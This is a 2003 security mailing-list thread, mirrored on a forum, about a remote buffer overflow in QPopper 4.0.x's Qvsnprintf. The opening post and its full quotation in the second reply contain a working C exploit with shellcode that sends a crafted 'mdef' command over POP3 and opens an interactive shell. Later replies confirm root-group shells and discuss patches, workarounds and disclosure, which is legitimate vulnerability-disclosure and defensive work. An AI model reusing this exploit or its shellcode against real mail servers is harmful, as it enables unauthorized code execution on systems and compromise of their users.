Likes Likes:  0
Resultaten 1 tot 9 van de 9
Geen
  1. #1
    Florian Heinz
    QPopper 4.0.x buffer overflow vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    QPopper 4.0.x buffer overflow vulnerability

    Hello,

    Under certain conditions it is possible to execute arbitrary code using
    a buffer overflow in the recent qpopper.

    You need a valid username/password-combination and code is (depending on
    the setup) usually executed with the user's uid and gid mail.

    Explanation:

    Qualcomm provides their own vsnprintf-implementation Qvsnprintf(). This
    function is used unconditionally on any system, regardless if the system
    has its own vsnprintf().
    The function correctly writes up to 'n' bytes into the buffer, but fails
    to null-terminate it, if buffer-space runs out while copying the
    format-string (so the obvious fix is, null-terminate the buffer in
    Qvsnprintf()).
    This is a problem in pop_msg() (popper/pop_msg.c).
    The call to Qvsnprintf() can leave the buffer 'message' unterminated, so
    the successive call to strcat (strcat(message,"\r\n")) writes somewhere
    into thew stack. What it exactly overwrites depends heavily on the
    individual binary and the current stack-data (where is the next
    null-byte).
    I successfully managed to execute arbitrary code using the
    'mdef'-command with the binary in the most recent debian-package
    'qpopper-4.0.4-8'
    Sending 'mdef <macroname>()' with a macro-name of about 1000 bytes
    fills the buffer leaving it unterminated. The strcat overwrites the
    least significant byte of the saved basepointer on the stack,
    now pointing inside the buffer. On return of pop_mdef() (file
    pop_extend.c), the return-address is now fetched from within our buffer
    (and of course pointing inside our buffer), allowing to, for example,
    spawn a shell.
    The Macroname may not include bytes causing isspace() to return true
    and, of course, no null-byte, so shellcode must be appropriate crafted.
    I have tested the qpopper from SuSE 8.1 too, the flaw exists too, but
    SuSE is more lucky, strcat doesn't overwrite critical values. I have
    not yet tested other distributions.

    Here is a POC-exploit, Values for RETADDR and BUFSIZE adjusted for
    debian qpopper-4.0.4-8:

    -- snip --


    #include <sys/socket.h>
    #include <sys/select.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>

    char *sc = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\ x2f\x2f\x73\x68"
    "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\ xd2\xb0\x08\x40"
    "\x40\x40\xcd\x80";

    #define BUFLEN 1006
    #define RETLEN 148
    #define RETADDR 0xbfffd304

    int main (int argc, char **argv) {
    int fd, len, i, retaddr = RETADDR;
    char *bp, buf[2000];
    struct sockaddr_in peer;
    fd_set fs;

    if (argc != 4) {
    fprintf(stderr, "Usage: %s <ip> <user> <pass>\n\n", argv[0]);
    exit(EXIT_FAILURE);
    }

    peer.sin_family = AF_INET;
    peer.sin_port = htons(110);
    peer.sin_addr.s_addr = inet_addr(argv[1]);
    fd = socket(AF_INET, SOCK_STREAM, 0);
    if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) {
    perror("connect");
    exit(EXIT_FAILURE);
    }
    snprintf(buf, 1024, "USER %s\n", argv[2]);
    write(fd, buf, strlen(buf));
    snprintf(buf, 1024, "PASS %s\n", argv[3]);
    write(fd, buf, strlen(buf));
    memset(buf, 0x90, 2000);
    memcpy(buf, "mdef ", 5);
    memcpy(buf + BUFLEN - RETLEN - strlen(sc), sc, strlen(sc));
    bp = (char *) (((unsigned int)(buf + BUFLEN - RETLEN)) & 0xfffffffc);
    for (i = 0; i < RETLEN; i += 4)
    memcpy(bp+i+2, &retaddr, sizeof(int));
    buf[BUFLEN-2] = '(';
    buf[BUFLEN-1] = ')';
    buf[BUFLEN] = '\n';
    write(fd, buf, BUFLEN+1);
    while (1) {
    FD_ZERO(&fs);
    FD_SET(0, &fs);
    FD_SET(fd, &fs);
    select(fd+1, &fs, NULL, NULL, NULL);
    if (FD_ISSET(0, &fs)) {
    if ((len = read(0, buf, 1000)) <= 0)
    break;
    write(fd, buf, len);
    } else {
    if ((len = read(fd, buf, 1000)) <= 0)
    break;
    write(1, buf, len);
    }
    }

    exit(EXIT_SUCCESS);
    }

    -- snap --

    This is the short version. An enhanced version with error-checking,
    bufsize- and return-address autodetection can be found on
    http://nstx.dereference.de/snippets/qex.c

    Feedback is welcome.

    regards,

    Florian Heinz
    Cronon AG
    http://www.cronon.org

    PS: sorry for the bad english

  2. #2
    Jonas Frey
    QPopper 4.0.x buffer overflow vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: QPopper 4.0.x buffer overflow vulnerability

    Hello,

    i just checked and g
    Suse 7.3 (qpopper.rpm 4.0.3-34) is vulnerable, you get
    id
    uid=503(test) gid=0(root) groups=0(root)

    (Using Mailuser "test").

    Same goes for Suse 8.0 (qpopper-4.0.3-168)


    The overflow isnt logged anywhere, you just see normal pop logins.

    Jonas

    On Mon, 2003-03-10 at 15:31, Florian Heinz wrote:
    > Hello,
    >
    > Under certain conditions it is possible to execute arbitrary code using
    > a buffer overflow in the recent qpopper.
    >
    > You need a valid username/password-combination and code is (depending on
    > the setup) usually executed with the user's uid and gid mail.
    >
    > Explanation:
    >
    > Qualcomm provides their own vsnprintf-implementation Qvsnprintf(). This
    > function is used unconditionally on any system, regardless if the system
    > has its own vsnprintf().
    > The function correctly writes up to 'n' bytes into the buffer, but fails
    > to null-terminate it, if buffer-space runs out while copying the
    > format-string (so the obvious fix is, null-terminate the buffer in
    > Qvsnprintf()).
    > This is a problem in pop_msg() (popper/pop_msg.c).
    > The call to Qvsnprintf() can leave the buffer 'message' unterminated, so
    > the successive call to strcat (strcat(message,"\r\n")) writes somewhere
    > into thew stack. What it exactly overwrites depends heavily on the
    > individual binary and the current stack-data (where is the next
    > null-byte).
    > I successfully managed to execute arbitrary code using the
    > 'mdef'-command with the binary in the most recent debian-package
    > 'qpopper-4.0.4-8'
    > Sending 'mdef <macroname>()' with a macro-name of about 1000 bytes
    > fills the buffer leaving it unterminated. The strcat overwrites the
    > least significant byte of the saved basepointer on the stack,
    > now pointing inside the buffer. On return of pop_mdef() (file
    > pop_extend.c), the return-address is now fetched from within our buffer
    > (and of course pointing inside our buffer), allowing to, for example,
    > spawn a shell.
    > The Macroname may not include bytes causing isspace() to return true
    > and, of course, no null-byte, so shellcode must be appropriate crafted.
    > I have tested the qpopper from SuSE 8.1 too, the flaw exists too, but
    > SuSE is more lucky, strcat doesn't overwrite critical values. I have
    > not yet tested other distributions.
    >
    > Here is a POC-exploit, Values for RETADDR and BUFSIZE adjusted for
    > debian qpopper-4.0.4-8:
    >
    > -- snip --
    >
    >
    > #include <sys/socket.h>
    > #include <sys/select.h>
    > #include <netinet/in.h>
    > #include <arpa/inet.h>
    > #include <stdio.h>
    > #include <string.h>
    > #include <stdlib.h>
    > #include <unistd.h>
    >
    > char *sc = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\ x2f\x2f\x73\x68"
    > "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\ xd2\xb0\x08\x40"
    > "\x40\x40\xcd\x80";
    >
    > #define BUFLEN 1006
    > #define RETLEN 148
    > #define RETADDR 0xbfffd304
    >
    > int main (int argc, char **argv) {
    > int fd, len, i, retaddr = RETADDR;
    > char *bp, buf[2000];
    > struct sockaddr_in peer;
    > fd_set fs;
    >
    > if (argc != 4) {
    > fprintf(stderr, "Usage: %s <ip> <user> <pass>\n\n", argv[0]);
    > exit(EXIT_FAILURE);
    > }
    >
    > peer.sin_family = AF_INET;
    > peer.sin_port = htons(110);
    > peer.sin_addr.s_addr = inet_addr(argv[1]);
    > fd = socket(AF_INET, SOCK_STREAM, 0);
    > if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) {
    > perror("connect");
    > exit(EXIT_FAILURE);
    > }
    > snprintf(buf, 1024, "USER %s\n", argv[2]);
    > write(fd, buf, strlen(buf));
    > snprintf(buf, 1024, "PASS %s\n", argv[3]);
    > write(fd, buf, strlen(buf));
    > memset(buf, 0x90, 2000);
    > memcpy(buf, "mdef ", 5);
    > memcpy(buf + BUFLEN - RETLEN - strlen(sc), sc, strlen(sc));
    > bp = (char *) (((unsigned int)(buf + BUFLEN - RETLEN)) & 0xfffffffc);
    > for (i = 0; i < RETLEN; i += 4)
    > memcpy(bp+i+2, &retaddr, sizeof(int));
    > buf[BUFLEN-2] = '(';
    > buf[BUFLEN-1] = ')';
    > buf[BUFLEN] = '\n';
    > write(fd, buf, BUFLEN+1);
    > while (1) {
    > FD_ZERO(&fs);
    > FD_SET(0, &fs);
    > FD_SET(fd, &fs);
    > select(fd+1, &fs, NULL, NULL, NULL);
    > if (FD_ISSET(0, &fs)) {
    > if ((len = read(0, buf, 1000)) <= 0)
    > break;
    > write(fd, buf, len);
    > } else {
    > if ((len = read(fd, buf, 1000)) <= 0)
    > break;
    > write(1, buf, len);
    > }
    > }
    >
    > exit(EXIT_SUCCESS);
    > }
    >
    > -- snap --
    >
    > This is the short version. An enhanced version with error-checking,
    > bufsize- and return-address autodetection can be found on
    > http://nstx.dereference.de/snippets/qex.c
    >
    > Feedback is welcome.
    >
    > regards,
    >
    > Florian Heinz
    > Cronon AG
    > http://www.cronon.org
    >
    > PS: sorry for the bad english
    >





  3. #3
    Torsten Mueller
    QPopper 4.0.x buffer overflow vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: QPopper 4.0.x buffer overflow vulnerability



    Florian Heinz schrieb:
    >
    > Hello,
    >
    > Under certain conditions it is possible to execute arbitrary code using
    > a buffer overflow in the recent qpopper.
    >
    > You need a valid username/password-combination and code is (depending on
    > the setup) usually executed with the user's uid and gid mail.
    >

    ....
    >
    > This is the short version. An enhanced version with error-checking,
    > bufsize- and return-address autodetection can be found on
    > http://nstx.dereference.de/snippets/qex.c
    >
    > Feedback is welcome.


    .... and here it comes ;-)

    I tested http://nstx.dereference.de/snippets/qex.c
    against 3 selfcompiled qpopper4.0.4 on 3 different machines.

    I can confirm, that on one machine "it worked", i got
    a shell.

    More interesting for me is of course, if you can provide
    a patch against 4.0.4 to close this vulnerability.

    Greetings Torsten

  4. #4
    Florian Heinz
    QPopper 4.0.x buffer overflow vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: QPopper 4.0.x buffer overflow vulnerability

    On Wed, Mar 12, 2003 at 10:33:29AM +0100, Torsten Mueller wrote:
    >
    >
    > Florian Heinz schrieb:
    > >
    > > Hello,
    > >
    > > Under certain conditions it is possible to execute arbitrary code using
    > > a buffer overflow in the recent qpopper.
    > >
    > > You need a valid username/password-combination and code is (depending on
    > > the setup) usually executed with the user's uid and gid mail.
    > >

    > ...
    > >
    > > This is the short version. An enhanced version with error-checking,
    > > bufsize- and return-address autodetection can be found on
    > > http://nstx.dereference.de/snippets/qex.c
    > >
    > > Feedback is welcome.

    >
    > ... and here it comes ;-)
    >
    > I tested http://nstx.dereference.de/snippets/qex.c
    > against 3 selfcompiled qpopper4.0.4 on 3 different machines.
    >
    > I can confirm, that on one machine "it worked", i got
    > a shell.


    Nice

    > More interesting for me is of course, if you can provide
    > a patch against 4.0.4 to close this vulnerability.


    As said, just make sure the buffer is null-terminated in Qvsnprintf().
    Randall Gellens quickly reacted and released qpopper-4.0.5rc2, which
    also contains a fix for this issue.
    I also managed to modify a popper-binary with hexedit to use the
    libc-vsnprintf instead of the Qvsnprintf provided, which solved that
    problem, too, but this was merely for fun and testing, this could probably
    cause other inconsistencies


  5. #5
    Randall Gellens
    QPopper 4.0.x buffer overflow vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: QPopper 4.0.x buffer overflow vulnerability

    The first I heard of the problem was this morning. Was any notice
    sent to qpopper-bugs@qualcomm.com or qpopper-patches@qualcomm.com in
    advance of the posting here? If so, please let me know the details
    so I can see what happened to the message. If not, I'd like to know
    why.

    A fixed Qpopper (version 4.0.5fc2) is available now at
    <ftp://ftp.qualcomm.com/eudora/servers/unix/popper/beta/>. I plan on
    releasing 4.0.5 final tomorrow unless I hear of any problems with
    4.0.5fc2.

    --
    Randall Gellens
    rg_public.1@flagg.qualcomm.com
    Opinions are personal; facts are suspect; I speak for myself only

  6. #6
    Jaroslaw Zachwieja
    QPopper 4.0.x buffer overflow vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: QPopper 4.0.x buffer overflow vulnerability

    =2D----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1

    On pon 10. marca 2003 14:31, Florian Heinz wrote:

    > http://nstx.dereference.de/snippets/qex.c
    > Feedback is welcome.


    Enforcing TLS/SSL is a temprorary workaround against script-kiddies -=20
    exploit (out-of-the-box) will not be able to authenticate.

    (there is a user foobar, with passwd "lalala" on the system)

    $ ./qex rootbox foobar lalala
    Phase 1: Seeking buffer size
    Connecting to xxx.xxx.xxx.xxx... Logging in... Could not log in. Did you=20
    provide a valid username/password-combination?
    Exiting due to error...

    that's becouse:

    $ telnet 0 110
    Trying 0.0.0.0...
    Connected to 0.
    Escape character is '^]'.
    +OK ready
    user foobar
    =2D -ERR [AUTH] You must use TLS/SSL or stronger authentication such as APO=
    P to=20
    connect to this server
    quit

    Not a fix, but who sends plaintext passwords anyway Unfortunately, I=20
    must assume, that at some point some "friendly" soul will equip qex with=20
    TLS/SSL.

    What is the vendor response on that?
    =2D --=20
    grok

    GPG public key at http://www.keyserver.net
    =2D----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1.2.1 (GNU/Linux)

    iD8DBQE+bzP3ANulANzEW40RArDsAJ43VBZhYJXdhWsyGXT59L fwbJkH8wCgs+FW
    8g4LLzXZ/D71rkaVjDRBR0c=3D
    =3DCVSC
    =2D----END PGP SIGNATURE-----


  7. #7
    Jonathan A. Zdziarski
    QPopper 4.0.x buffer overflow vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    RE: QPopper 4.0.x buffer overflow vulnerability

    Chrooting qpopper is also a good workaround, as well as good practice.
    Instructions can be found at http://www.networkdweebs.com/chroot.html


    > -----Original Message-----
    > From: Jaroslaw Zachwieja [mailto:grok@tnt.pl]
    > Sent: Wednesday, March 12, 2003 8:20 AM
    > To: bugtraq@securityfocus.com
    > Subject: Re: QPopper 4.0.x buffer overflow vulnerability
    >=20
    > -----BEGIN PGP SIGNED MESSAGE-----
    > Hash: SHA1
    >=20
    > On pon 10. marca 2003 14:31, Florian Heinz wrote:
    >=20
    > > http://nstx.dereference.de/snippets/qex.c
    > > Feedback is welcome.

    >=20
    > Enforcing TLS/SSL is a temprorary workaround against script-kiddies -
    > exploit (out-of-the-box) will not be able to authenticate.
    >=20
    > (there is a user foobar, with passwd "lalala" on the system)
    >=20
    > $ ./qex rootbox foobar lalala
    > Phase 1: Seeking buffer size
    > Connecting to xxx.xxx.xxx.xxx... Logging in... Could not log in. Did =

    you
    > provide a valid username/password-combination?
    > Exiting due to error...
    >=20
    > that's becouse:
    >=20
    > $ telnet 0 110
    > Trying 0.0.0.0...
    > Connected to 0.
    > Escape character is '^]'.
    > +OK ready
    > user foobar
    > - -ERR [AUTH] You must use TLS/SSL or stronger authentication such as =

    APOP
    > to
    > connect to this server
    > quit
    >=20
    > Not a fix, but who sends plaintext passwords anyway Unfortunately, =

    I
    > must assume, that at some point some "friendly" soul will equip qex =

    with
    > TLS/SSL.
    >=20
    > What is the vendor response on that?
    > - --
    > grok
    >=20
    > GPG public key at http://www.keyserver.net
    > -----BEGIN PGP SIGNATURE-----
    > Version: GnuPG v1.2.1 (GNU/Linux)
    >=20
    > iD8DBQE+bzP3ANulANzEW40RArDsAJ43VBZhYJXdhWsyGXT59L fwbJkH8wCgs+FW
    > 8g4LLzXZ/D71rkaVjDRBR0c=3D
    > =3DCVSC
    > -----END PGP SIGNATURE-----
    >=20
    >=20




  8. #8
    Florian Heinz
    QPopper 4.0.x buffer overflow vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: QPopper 4.0.x buffer overflow vulnerability

    On Tue, Mar 11, 2003 at 07:05:51PM -0800, Randall Gellens wrote:
    > The first I heard of the problem was this morning. Was any notice
    > sent to qpopper-bugs@qualcomm.com or qpopper-patches@qualcomm.com in
    > advance of the posting here? If so, please let me know the details
    > so I can see what happened to the message. If not, I'd like to know
    > why.


    The cause for this bug is already identified and the fix is really
    simple, I didn't see a reason to delay the post. It wasn't my intention
    to cause you trouble, if I did so, I'm sorry. I had bad experience
    informing vendors in the past, so I skipped that in this case.
    For example, some time ago I reported the (non-exploitable) bug in
    pop_msg.c, line 254f.:
    free(local_element.mdef_macro); /* From strdup */
    return pop_msg(p, POP_SUCCESS, HERE, "Macro \"%s\" accepted",
    local_element.mdef_macro);
    and I didn't get a reply. Perhaps you want to fix this flaw too, in fc2.

    regards,

    Florian Heinz

  9. #9
    Harald Hellmuth
    QPopper 4.0.x buffer overflow vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: QPopper 4.0.x buffer overflow vulnerability

    On Tue, 11 Mar 2003 19:05:51 -0800
    Randall Gellens <rg_public.1@flagg.qualcomm.com> wrote:

    > The first I heard of the problem was this morning. Was any notice
    > sent to qpopper-bugs@qualcomm.com or qpopper-patches@qualcomm.com in
    > advance of the posting here? If so, please let me know the details
    > so I can see what happened to the message. If not, I'd like to know
    > why.
    >
    > A fixed Qpopper (version 4.0.5fc2) is available now at
    > <ftp://ftp.qualcomm.com/eudora/servers/unix/popper/beta/>. I plan on
    > releasing 4.0.5 final tomorrow unless I hear of any problems with
    > 4.0.5fc2.
    >
    > --
    > Randall Gellens
    > rg_public.1@flagg.qualcomm.com
    > Opinions are personal; facts are suspect; I speak for myself only


    Hello,

    Yesterday(2003-03-12) I've sent the following email to qpopper-bugs@qualcomm.com:

    ------------------------------ snip ---------------------------------------
    Dear Sir or Madam,

    Florian Heinz posted an exploit to gain shell access through qpopper.
    See http://nstx.dereference.de/snippets/qex.c.
    The reason is an unterminated bufferstring in Qvsnprintf.

    I looked at version 4.05fc2 and there is a change, but i think that
    change isn't correct.

    /* From File common/snprintf.c */
    if ( nSize == 0 && *p != '\0' )
    {
    *s = '\0';
    return -1;
    }
    else
    return ( (n-1) - nSize );


    /* when string that should be written to the buffer fits exactly,
    * than there will no Zero-Byte be written to buffer, cause the for
    * loop terminates when nSize is 0 and the terminating '\0' of p is not
    * copied to buffer ;-(
    */

    Ithink, it should be written as :


    if ( nSize || *p=='\0')
    {
    *s++ = *p;
    return ( (n-1) - nSize );
    }
    else{
    *s++ = '\0';
    return -1;
    }


    Please excuse my bad english.

    regards

    Harald Hellmuth
    ------------------------------ snap ---------------------------------------

    with best regards


    --

    Harald Hellmuth
    E-Mail: hh@hostserver.de

Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics